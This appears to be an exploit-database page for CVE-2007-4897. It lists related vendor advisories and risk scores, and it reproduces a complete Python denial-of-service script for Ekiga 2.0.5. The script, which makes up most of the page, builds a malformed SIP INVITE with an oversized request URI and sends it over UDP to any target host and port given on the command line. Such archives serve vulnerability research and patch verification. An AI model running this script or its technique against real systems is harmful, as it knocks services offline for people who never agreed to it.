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Ekiga 2.0.5 - 'GetHostAddress' Remote Denial of Service
| Reporter | Title | Published | Views | Family All 29 |
|---|---|---|---|---|
 | Ekiga 2.0.5 (GetHostAddress) Remote Denial of Service Exploit | 24 Jul 200900:00 | – | zdt |
 | CentOS 5 : pwlib (CESA-2007:0932) | 6 Jan 201000:00 | – | nessus |
| Mandrake Linux Security Advisory : pwlib (MDKSA-2007:206) | 5 Nov 200700:00 | – | nessus |
| RHEL 5 : pwlib (RHSA-2007:0932) | 9 Oct 200700:00 | – | nessus |
| Scientific Linux Security Update : pwlib on SL5.x i386/x86_64 | 1 Aug 201200:00 | – | nessus |
| Ubuntu 6.06 LTS / 6.10 / 7.04 / 7.10 : pwlib vulnerability (USN-561-1) | 10 Jan 200800:00 | – | nessus |
 | pwlib security update | 9 Oct 200723:40 | – | centos |
 | CVE-2007-4897 | 24 Jul 200900:00 | – | circl |
 | CVE-2007-4897 | 14 Sep 200718:00 | – | cve |
 | CVE-2007-4897 | 14 Sep 200718:00 | – | cvelist |
10
#!/usr/bin/env python
#
# Ekiga GetHostAddress Remote Denial of Service Vulnerability (CVE-2007-4897)
#
# ekiga207_dos.py by Jose Miguel Esparza
# 2007-09-11 S21sec labs
import sys,socket
if len(sys.argv) != 3:
sys.exit("Usage: " + sys.argv[0] + " target_host target_port\n")
target = sys.argv[1]
targetPort = int(sys.argv[2])
malformedRequest = "INVITE "+'A'*1005+" SIP/2.0\r\n"+\
"Call-ID:[email protected]\r\n"+\
"Contact:sip:[email protected]:5060\r\n"+\
"Content-Length:417\r\n"+\
"Content-Type:application/sdp\r\n"+\
"CSeq:4321 INVITE\r\n"+\
"From:sip:[email protected]:5060;tag=a48s\r\n"+\
"Max-Forwards:70\r\n"+\
"To:sip:[email protected]\r\n"+\
"Via:SIP/2.0/UDP 172.91.1.148:5060;branch=z9hG4bK74b76\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target,targetPort))
s.sendall(malformedRequest)
s.close()
# milw0rm.com [2009-07-24]Data
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24 Jul 2009 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 25
EPSS0.10897